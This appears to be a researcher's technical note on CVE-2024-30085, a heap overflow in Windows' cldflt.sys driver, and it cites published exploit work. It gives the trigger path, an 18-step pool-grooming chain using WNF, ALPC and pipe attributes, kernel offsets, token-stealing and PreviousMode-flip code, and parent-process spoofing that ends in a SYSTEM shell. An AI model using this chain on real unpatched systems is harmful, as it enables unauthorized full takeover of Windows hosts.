CVE-2024-30085 — cldflt.sys Heap Overflow (EoP)

Last updated: 2026-04-11
Severity: High
Component: cldflt.sys (Windows Cloud Files Mini Filter Driver)
Bug Class: Heap Overflow (integer / bounds check missing)
Privilege Escalation: User → SYSTEM
Patch: June 2024 Patch Tuesday (KB5039212 — Win11 22H2/23H2; KB5039211 — Win10 22H2)
Related: Cldflt, Cve 2021 31969, Heap Grooming, Primitives, Ioring
Tags: heap-overflow, kernel-mode, pool, oob-write, aaw, aar, token-steal

Vulnerability Summary

HsmIBitmapNORMALOpen in cldflt.sys allocates a fixed 0x1000-byte HsBm object in the paged pool but copies user-controlled data into it using a memcpy whose size is bounded only by the user-supplied reparse point data — no upper limit check against 0x1000. An attacker with sync root registration can write up to ~4 pages of controlled data past the HsBm allocation, overflowing into adjacent paged pool objects. Exploitation uses a two-phase WNF → ALPC handle table leak then WNF → PipeAttribute chain to achieve arbitrary kernel read/write, ultimately overwriting token privileges to obtain SYSTEM.

Root Cause Analysis

In HsmIBitmapNORMALOpen:

// Vulnerable (before patch)
HsBm = ExAllocatePoolWithTag(PagedPool, 0x1000, 'HsBm');
memcpy(HsBm->data, local_70, memcpy_size);  // memcpy_size is user-controlled!

// Patched version added:
if (r14d > 0x1000)
    return STATUS_INVALID_PARAMETER;
memcpy(HsBm->data, local_70, memcpy_size);

memcpy_size is derived from the user-supplied reparse point element data without an upper bound check. An attacker can provide a _HSM_ELEMENT_INFO with Type=BITMAP(0x11) whose length field exceeds 0x1000, causing the copy to overflow the HsBm allocation into adjacent pool objects.

Trigger Path

  1. Register sync root (requires no privilege):
    CfRegisterSyncRoot(rootPath, &registration, NULL, CF_REGISTER_FLAG_NONE);
    
  2. Create a placeholder file under the sync root directory.

  3. Set crafted reparse point via FSCTL_SET_REPARSE_POINT_EX (not FSCTL_SET_REPARSE_POINT — the driver pre-op handler for the latter denies non-Cloud-Filter requests):
    DeviceIoControl(hFile, FSCTL_SET_REPARSE_POINT_EX, reparseData, reparseSize, NULL, 0, &returned, NULL);
    

    The reparse tag must be IO_REPARSE_TAG_CLOUD_6 = 0x9000601a.

  4. Trigger overflow by reopening the file:
    hFile2 = CreateFileW(path, GENERIC_ALL, FILE_SHARE_ALL, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
    

Reparse Point Structures

struct _HSM_REPARSE_DATA {
    DWORD Flags;
    DWORD Length;
    _HSM_DATA HsmData;
};

struct _HSM_DATA {
    DWORD  Magic;           // 0x70527442 ("BtRp") or 0x70526546 ("FeRp")
    DWORD  Crc32;
    DWORD  Length;
    DWORD  Flags;
    DWORD  NumberOfElements;
    _HSM_ELEMENT_INFO Elements[];
};

struct _HSM_ELEMENT_INFO {
    WORD  Type;
    WORD  Length;   // attacker-controlled
    DWORD Offset;
};

// Element types:
// 0x00 = NONE
// 0x06 = UINT64
// 0x07 = BYTE
// 0x0A = UINT32
// 0x11 = BITMAP  ← triggers HsmIBitmapNORMALOpen

Exploitation Technique

The overflow targets the paged pool. The HsBm object is 0x1000 bytes, meaning it lands in the variable-size (VS) segment. The exploit triggers the overflow twice: once for a kernel pointer leak (via ALPC handle table corruption), once for arbitrary write setup (via PipeAttribute corruption).

Full Exploit Chain (18 Steps)

Phase 1 — Kernel Pointer Leak

  1. Create exploit file 1; set custom reparse point with memcpy_size=0x1010.
  2. Spray padding _WNF_STATE_DATA objects (0x1000 bytes each, DataSize=0xff0, so _WNF_STATE_DATA.DataSize = 0xff0).
  3. Spray the first set of _WNF_STATE_DATA (NUM=0x450).
  4. Poke holes: free every alternate WNF object (creates 0x1000-byte holes).
  5. Trigger overflow #1: HsBm lands in a hole, overflows 0x10 bytes into adjacent WNF → corrupts _WNF_STATE_DATA.DataSize from 0xff0 to 0xff8 (8-byte OOB read/write primitive). Target object is freed during the code path but corruption persists.
  6. Spray _ALPC_HANDLE_TABLE objects to fill remaining holes. The handle table starts at 0x80 bytes; each NtAlpcCreateResourceReserve call doubles it. With 127 calls per port × 0x800 ports, the table grows to 0x1000.
  7. Scan WNF objects: find one with ChangeStamp=0xcafe (set by the overflow content). Read WNFOutput[0xff0] — this is the _KALPC_RESERVE pointer leaked from the adjacent ALPC handle table.
struct _ALPC_HANDLE_TABLE {
    struct _ALPC_HANDLE_ENTRY* Handles;   //0x0
    struct _EX_PUSH_LOCK Lock;            //0x8
    ULONGLONG TotalHandles;               //0x10
    ULONG Flags;                          //0x18
};

struct _KALPC_RESERVE {
    struct _ALPC_PORT*         OwnerPort;    //0x0
    struct _ALPC_HANDLE_TABLE* HandleTable;  //0x8
    VOID*                      Handle;       //0x10
    struct _KALPC_MESSAGE*     Message;      //0x18
    ULONGLONG                  Size;         //0x20
    LONG                       Active;       //0x28
};

Phase 2 — Arbitrary Read → Token Leak

  1. Create exploit file 2; set reparse data 0x1010.
  2. Spray second padding WNF batch.
  3. Poke holes (free alternates).
  4. Trigger overflow #2: second HsBm overflow → second WNF DataSize corruption.
  5. Spray PipeAttribute objects via NtFsControlFile(WritePipe, 0x11003c, data, 0x1000-0x30, ...).
  6. Use second corrupted WNF to OOB-write the Flink of adjacent PipeAttribute’s LIST_ENTRY to point to a fake PipeAttribute in userland (Windows does not enable SMAP, so kernel can access user pages):
    // Fake PipeAttribute in userspace:
    *(u64*)(FakePipe+0x00) = (u64)FakePipe2;          // Flink
    *(u64*)(FakePipe+0x08) = (u64)pipe_leak;           // Blink
    *(u64*)(FakePipe+0x10) = (u64)FakePipeName;        // AttributeName
    *(u64*)(FakePipe+0x18) = 0x30;                     // AttributeValueSize (leak size)
    *(u64*)(FakePipe+0x20) = (u64)ALPC_leak;           // AttributeValue (what to read)
    
  7. Arbitrary read via NtFsControlFile(WritePipe, 0x110038, ...):
    • Read from KALPC_RESERVE → get ALPC_PORT pointer
    • Read from ALPC_PORT+0x18 → get EPROCESS pointer (OwnerProcess)
    • Read from EPROCESS+0x4b8 → get token pointer

Phase 3 — Arbitrary Write → Privilege Escalation

  1. Use first corrupted WNF to overwrite the _KALPC_RESERVE pointer inside the ALPC handle table with a pointer to a fake _KALPC_RESERVE in userland. The fake reserve contains a pointer to a fake _KALPC_MESSAGE with:
    • ExtensionBuffer = token_leak + 0x40 (token privileges field)
    • ExtensionBufferSize = 0x10
  2. Call NtAlpcSendWaitReceivePort with message payload [0xFFFFFFFFFFFFFFFF, 0xFFFFFFFFFFFFFFFF]. The kernel writes 0x10 bytes of FF into ExtensionBuffer — overwriting token present/enabled privilege bitmaps to enable all privileges.

  3. OpenProcess(PROCESS_CREATE_PROCESS, winlogon_pid)CreateProcessFromHandle(winlogon_process) → SYSTEM shell.

Key Structure Details

struct _WNF_STATE_DATA {
    struct _WNF_NODE_HEADER Header;   //0x0
    ULONG AllocatedSize;              //0x4
    ULONG DataSize;                   //0x8  ← overflow target: 0xff0 → 0xff8
    ULONG ChangeStamp;                //0xc
};

struct PipeAttribute {
    LIST_ENTRY list;                  //0x0 (Flink at 0x0)  ← overflow target
    char * AttributeName;             //0x10
    uint64_t AttributeValueSize;      //0x18
    char * AttributeValue;            //0x20
    char data[0];
};

Read: NtFsControlFile(pipe, 0x110038, name, len, buf, 0x1000) → returns AttributeValue[0..AttributeValueSize]
Write: NtFsControlFile(pipe, 0x11003c, data, 0x1000-0x30, ...) → replaces PipeAttribute (old one freed, new one allocated)

Exploit Variants (Alexandre Borges — ERS_06/07/08, 2026)

Alexandre Borges published a deep-dive series (ERS_06/07/08) with four successive exploit variants, each improving on the previous:

VariantFileOverflowsTechniqueInnovation
ALPC editionexploit_alpc_edition.c2ALPC write → TOKEN+0x40 overwrite; pipe attr AARFirst PoC; one-shot ALPC limitation causes crash on exit
Token stealexploit_token_stealing_edition.c2ALPC write → PreviousMode=0NtWriteVirtualMemory; pipe attr AARConverts one-shot write to unlimited; clean restore
I/O Ring v1exploit_ioring_edition_01.c2ALPC → I/O Ring write; pipe attr AAR8-byte precision token writes via I/O Ring
I/O Ring v2exploit_ioring_edition_02.c1ALPC → I/O Ring read+write15 stages (vs 24); no pipe exploitation; single overflow

Key Technical Details

Constants (Win11 23H2/22H2, Win10 22H2):

KTHREAD_PREVIOUSMODE_OFFSET = 0x232
EPROCESS_TOKEN_OFFSET       = 0x4B8  (newer Windows versions: 0x248)
EPROCESS_UNIQUEPROCESSID_OFFSET = 0x440
EPROCESS_ACTIVEPROCESSLINKS_OFFSET = 0x448
EPROCESS_IMAGEFILENAME_OFFSET = 0x5A8
FSCTL_PIPE_GET_PIPE_ATTRIBUTE = 0x110038
FSCTL_PIPE_SET_PIPE_ATTRIBUTE = 0x11003C

Spray constants:

WNF_PAD_SPRAY_COUNT = 0x5000  // padding spray (Phase 1)
WNF_SPRAY_COUNT     = 0x800   // WNF object spray
ALPC_PORT_COUNT     = 0x800   // ALPC ports
ALPC_RESERVES_PER_PORT = 257  // reserves per port (grows table to 0x1000)
WNF_DATA_SIZE       = 0xFF0   // WNF body size → 0x1000 total chunk
PAYLOAD_SIZE_OVERFLOW = 0x1010 // 0x10 bytes past HsBm buffer
CHANGE_STAMP_FIRST  = 0xC0DE  // marker in overflow payload to find corrupted WNF
CHANGE_STAMP_SECOND = 0xDEAD  // second wave marker

Token steal: _EX_FAST_REF note:

  • EPROCESS.Token is _EX_FAST_REF: bits 63:4 = token pointer, bits 3:0 = reference count
  • Must copy the raw 64-bit value (not just the pointer) — low 4 bits must be preserved
  • Read raw token: IoRingReadKernel64(eprocess+0x4B8, &g_system_token_raw)
  • Write raw token: IoRingWriteKernel(target_eprocess+0x4B8, &g_system_token_raw, 8)

PreviousMode flip via ALPC (token_steal_edition):

  • ALPC ExtensionBufferSize minimum is 0x10 bytes (not 0x08 — writes below 0x10 silently fail)
  • Target: KTHREAD.PreviousMode at kthreadAddr + 0x232
  • Write 16 zero bytes → flips PreviousMode from 1 (UserMode) to 0 (KernelMode)
  • After flip: NtWriteVirtualMemory(INVALID_HANDLE_VALUE, kernelAddr, data, ...) works on any address

KTHREAD discovery (before spray):

// Duplicate own thread handle, then scan SystemExtendedHandleInformation
NtQuerySystemInformation(64, buf, bufSize, &retlen);
// Match entry: UniqueProcessId==GetCurrentProcessId() && HandleValue==hThread
// → entry.Object = _KTHREAD kernel address

Cleanup order (token_steal_edition — avoids crash on exit):

  1. NtWriteVirtualMemory → write raw SYSTEM token to EPROCESS.Token
  2. NtWriteVirtualMemory → restore PipeAttr.Flink to original kernel address
  3. NtWriteVirtualMemory → restore PreviousMode = 1
  4. Spawn cmd.exe directly (no parent spoofing needed)

Parent process spoofing (alpc_edition only):

NtOpenProcess(&hWinlogon, PROCESS_CREATE_PROCESS, ...);
UpdateProcThreadAttribute(..., PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hWinlogon, ...);
CreateProcessW(NULL, L"cmd.exe", ..., CREATE_NEW_CONSOLE|EXTENDED_STARTUPINFO_PRESENT, ...);
// Child inherits winlogon's SYSTEM token

See Ioring for full I/O Ring structures and ALPC bootstrap technique.


Key Primitives Used

PrimitiveSource
8-byte paged pool OOB R/WWNF DataSize corruption (0xff00xff8)
Kernel pointer leakCorrupted WNF reads into adjacent ALPC handle table
Arbitrary kernel readFake PipeAttribute Flink → userland fake object → controlled AttributeValue pointer
Arbitrary kernel writeFake KALPC_RESERVE → fake KALPC_MESSAGE → NtAlpcSendWaitReceivePort ExtensionBuffer
Token privilege overwriteWrite 0xFFFF… to token+0x40 (Present/Enabled privilege bitmaps)

Mitigations Bypassed

  • SMAP not enabled on Windows: kernel can read/write userland memory → fake objects in userspace viable
  • Pool randomization: defeated by spraying and identifying corrupted object by ChangeStamp value

Proof-of-Concept Notes

  • Double trigger required (two separate files + two spray rounds)
  • Can be triggered multiple times if memory layout is controlled (no crash if WNF is reclaimed correctly)
  • Source: https://github.com/star-sg/CVE/tree/master/CVE-2024-30085
  • Authors: Cherie-Anne Lee (StarLabs), with guidance from Chen Le Qi (StarLabs)

References

  • Cherie-Anne Lee, “All I Want for Christmas is a CVE-2024-30085 Exploit”, StarLabs, 2024-12
  • ALPC AAR/AAW technique: Xu/Song/Li, “The Next Generation of Windows Exploitation”, BH Asia 2022
  • PipeAttribute technique: Corentin Bayet + Paul Fariello, “Scoop the Windows 10 pool!”, SSTIC 2020
  • Windows Kernel Heap by Angelboy: speakerdeck.com/scwuaptx/windows-kernel-heap-segment-heap-in-windows-kernel-part-1
  • Cloud Filter API: https://learn.microsoft.com/en-us/windows/win32/api/_cloudapi/